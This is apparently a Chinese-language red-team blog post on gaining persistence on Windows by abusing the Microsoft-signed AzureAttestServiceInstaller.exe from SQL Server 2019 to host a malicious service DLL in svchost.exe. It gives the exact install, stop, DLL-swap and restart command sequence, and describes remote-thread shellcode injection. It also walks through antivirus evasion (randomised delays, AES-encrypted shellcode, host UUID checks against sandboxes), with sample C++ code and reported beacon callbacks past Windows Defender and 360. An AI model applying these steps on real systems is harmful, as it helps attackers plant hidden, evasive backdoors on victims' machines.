利用Azure Attest Service持久化


0x01 简介

AzureAttestService是安装SQL Server 2019后存在的服务,用于远程验证平台的可信度和其中运行的二进制文件的完整性,详细说明见 Microsoft Azure AttestationAzureAttestService存在DLL类型服务文件AzureAttestService.dll和服务安装程序AzureAttestServiceInstaller.exe,可以通过服务安装程序对服务进行安装、启动停止和卸载。服务安装程序对DLL文件的验证存在问题,其未对要安装的服务DLL进行合法性检测,可将任意服务DLL安装为系统服务,通过这种方式可以绕过安全软件防御进行权限维持。本文测试系统环境为WIN10 x64 1809

0x02 服务程序测试

AzureAttestServiceInstaller.exeAzureAttestService.dll 均是由微软签名的文件,其中AzureAttestServiceInstaller.exe 有4个参数用于服务的操作(-h):

其中 -Install <path to service dll>参数可以将DLL注册成为svchost.exe托管的system权限系统服务:

注册完成后可以在注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\AzureAttestService 项目中查询到对应注册信息:

Parameters项中可查询服务DLL路径和导出函数信息:

因为AzureAttestServiceInstaller.exe可以将DLL注册为服务,那么可以编写一个服务类型DLL交给其注册即可。在实际利用中,如果直接使用自编写的服务DLL进行安装,安全软件可能会进行弹窗提醒,此时可以通过AzureAttestServiceInstaller.exe命令安装服务、停止服务后替换服务DLL达到绕过目的。在实践之前需要先编写一个DLL类型的服务。

0x03 服务DLL编写

在DLL中实现服务的操作,需要具有一个导出函数并与注册表中的
ServiceMain键值对应,以便svchost.exe执行,默认导出函数是ServiceMain 。查找到的代码示例有MSDN编写ServiceMain函数IRed上的Persisting in svchost.exe with a Service DLL。如果要详细分析服务代码和各个参数作用可以参考《Windows核心编程》中Windows服务篇。本文仅对要编写的代码进行介绍,先需要在ServiceMain函数中通过RegisterServiceCtrlHandler注册一个回调函数来处理SCM的服务控制请求,如对服务的启动、停止等。因为需要通过 AzureAttestServiceInstaller.exe 来注册DLL服务的,所以在DLL中的RegisterServiceCtrlHandler函数第一个参数服务名称需要和该安装程序中默认的名称AzureAttestService保持一致 :

dwServiceType参数中设置SERVICE_WIN32_SHARE_PROCESS表示服务与其他服务可共享进程以便资源、环境变量等共享,一般宿主进程是svchost.exe
接下来通过ReportSvcStatusSCM返回服务状态,然后就进入用户处理函数ExecuteServiceCodeIRed的示例中是在ExecuteServiceCode 函数的合适位置执行持久化代码:

在这里执行执行代码时需要考虑到线程阻塞问题,如果直接使用指针方式(*(void(*)())buffer)()执行shellcode,会导致SCM无法正常对该服务进行控制。以下代码通过创建线程执行shellcode注入函数:

注入shellcode时使用远程线程注入的方式进行,这样做可以让要执行的shellcode与当前DLL模块分离开,代码会在当前svchost.exe进程中分配空间执行:

编写完服务DLL代码后,以64位Release模式编译,得到一个服务DLL(ServiceDLL.dll):

该DLL文件成功通过了AzureAttestServiceInstaller.exe的服务安装、启动、停止和卸载命令测试。为了在实际中使用该方法进行权限维持,还需对服务DLL使用必要的安全规避技术,如对shellcode进行编码或加密等。

0x04 服务DLL安全规避

在本节中会使用随机延时,shellcode加密,主机指纹识别这三种方法来提高服务代码的安全软件规避能力。

0x4-1 随机延时

随机延时功能将注入shellcode的线程延后600~900秒执行,以争取安全软件扫描超时。在延时函数的选择上,不使用常见的Sleep函数进行延时,可以参考synchapi.h头文件中的API函数,如下通过WaitForSingleObject进行5秒延时:

 HANDLE hProcess = GetCurrentProcess();
 // wait for 5 s
 DWORD dw = WaitForSingleObject(hProcess, 5000); 

有了延时函数后还需要一个随机数生成函数配合进行延时,在MSDN上搜索到相关函数rand的示例代码,改动部分代码后可以生成一个伪随机数(种子不变时,每次生成的随机数都一样):

#include <stdlib.h> // rand(), srand()
#include <stdio.h> // printf()
int main(void)
{
    srand(882);
    int r = ((double)rand() / RAND_MAX) * static_cast<__int64>(10000 - 1000) + 1000;
    printf("%d\n", r);
}


为了让随机数种子随机一点,通过获取当前时间的毫秒数来设置种子,获取600-900之间的随机数:

#include <stdlib.h> // rand(), srand()
#include <stdio.h> // printf()
int main(void)
{
    SYSTEMTIME stLocal;
    GetLocalTime(&stLocal);
    printf("stLocal.wMilliseconds:%d\n", stLocal.wMilliseconds);
    srand(stLocal.wMilliseconds);
    int r = ((double)rand() / RAND_MAX) * static_cast<__int64>(900 - 600) + 600;
    printf("%d\n", r);
    return 0;
}

发现这样实现的随机数好像都在700以下:

发现可以通过随机两次来获得比较随机的值:

#include <windows.h>
#include <stdlib.h>
#include <stdio.h> 
void RangedRandDemo(int range_min, int range_max, int n,int isrand,int* intWait)
{
    for (int i = 0; i < n; i++)
    {
        *intWait = ((double)rand() / RAND_MAX) * (static_cast<__int64>(range_max) - static_cast<__int64>(range_min)) + range_min;
        printf("%6d\n", *intWait);
    }
}

int main(void)
{
    SYSTEMTIME stLocal;
    GetLocalTime(&stLocal);
    printf("stLocal.wMilliseconds:%d\n", stLocal.wMilliseconds);
    srand(stLocal.wMilliseconds);
    int intWait = 600;
    RangedRandDemo(600,900,2, stLocal.wMilliseconds,&intWait);
    printf("intWait:%d\n", intWait);
}

现在执行结果如下,intWait即为我们需要等待的秒数:

WaitForSingleObject等待超时后即可执行操作:

DWORD dw = WaitForSingleObject(GetCurrentProcess(), intWait * 1000);
if (WAIT_TIMEOUT == dw) {
printf("[+] Run my code");
}

0x4-2 Shellcode加密

一般来说将shellcode分离加载的规避效果要好于直接硬编码,该位置使用AES算法对原始shellcode文件进行加密,在加密后安全软件无法确定程序意图,之后在服务DLL中读取加密文件内容后AES解密执行。我们通过复用Brownie中的AES相关代码来实现对shellcode的加解密,要注意在char*std::string 类型转换时,如果存在\x00会导致截断,所以使用了C++ string::assign()方法赋值:

还需要注意的是,加密脚本中将iv值放在加密文件末尾,API函数GetFileSize在读取文件时如果在文件末尾存在\x00时会忽略该数据,导致读取到的数据大小与实际不符:

AES加密的python脚本中有对应注释:

实际使用的是随机提取的iviv = Random.new().read(AES.block_size),在没完全理解该随机方法之前错误估计该值最后一位有几率取到\x00,改了下代码把最后一个元素设置为了固定值,导致了后续解密时一个bug产生:

这样改动后解密出来的shellcode就有部分字节与源数据不一致:

意识到解密存在错误后,将加密代码恢复原样后,成功在测试程序中解密并执行了shellcode,同时windows defender保持静默:

0x4-3 主机指纹识别

在获得目标主机权限后需要获取其产品uuid,然后硬编码到服务DLL中用于和WQL查询得到的主机uuid信息对比,检测该主机是否为预设主机,以此规避沙箱环境。命令模式下可使用wmic csproduct list full 查询产品信息中的主机uuid:

GUI下可使用wbemtest命令打开实用工具枚举实例 Win32_ComputerSystemProduct实例:

DLL中通过C++使用COM编程执行WQL查询获取uuid的代码直接修改自MSDN上的示例wmi-data-from-the-local-computer,需要查询Win32_ComputerSystemProduct类中uuid的值:

查询到结果后判断uuid是否与预设相等:

程序执行后成功确认了主机uuid:

在测试程序中实现uuid检测后,需要将测试好的代码移植到服务DLL中,完成后运行测试发现一个之前遇到的CoInitializeSecurity已被调用问题,因为是在线程中进行COM调用,可能在之前已经有过COM调用,所以加入返回值判断即可:

启动服务后查看写入的日志,发现已经成功执行shellcode:

最后将官方AzureAttestService.dll(147kb)的资源信息也拷贝到自编写的服务DLL中(72kb):

这一步的规避措施就编写完毕了,接下来对服务DLL进行测试。

0x05 安装服务DLL

在上文中已经编写好了服务类型DLL并使用了一些规避手段,直接通过安装程序命令安装服务:

在PID为1664的svchost.exe进程中成功执行了shellcode返回beacon:

在实际利用过程中,如果直接将自编写的服务DLL进行注册,会被安全软件行为拦截:

所以应该先使用都具有签名的文件注册服务,然后停止服务并替换服务DLL文件。刚好签名文件AzureAttestServiceInstaller.exe提供了操作需要的命令:

// 安装签名服务DLL
AzureAttestServiceInstaller.exe -Install AzureAttestService.dll
// 完成后停止服务,解除DLL文件占用
AzureAttestServiceInstaller.exe -StopService
// 替换服务DLL
move AzureAttestService.dll AzureAttestService.dll.bak
move ServiceDLL.dll AzureAttestService.dll
// 启动服务,执行恶意代码
AzureAttestServiceInstaller.exe -StartService


服务成功在PID为2920的svchost.exe中启动:

之后成功返回了beacon:

最终我们可以在windows defender和数字卫士全家桶保护的主机中成功启动PID为428的svchost服务进程:

在等待一段时间之后,成功返回了beacon:

0x06 文末总结

本文记录了从发现AzureAttestService服务注册机制,提取出具有签名的服务安装程序和服务DLL,随后利用签名文件注册服务、停止服务绕过安全软件行为监控获得已创建完成的系统服务,再替换服务DLL文件获得持久化的过程。
在服务DLL中实现了代码加密,随机延迟,主机uuid检测等规避手段,绕过两种安全软件保护达到了在目标主机进行持久化效果。

0x07 参考链接

writing-a-servicemain-function
persisting-in-svchost.exe-with-a-service-dll-servicemain
https://docs.microsoft.com/en-ca/azure/attestation/overview
https://github.com/slaeryan/AQUARMOURY/tree/master/Brownie


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
Fastjson反序列化漏洞复现 Fastjson反序列化漏洞复现
本文学习Fastjson反序列化漏洞的基础知识,整理相关Payload并搭建测试环境进行复现。在复现过程中主要侧重于内存马的注入和使用。
2024-08-18
下一篇 
Windows Installer安装包的构建和执行 Windows Installer安装包的构建和执行
生成msi安装包执行自定义载荷的详细步骤方法。msiexec命令执行远程msi安装包、本地dll获得命令执行的方法研究。
  目录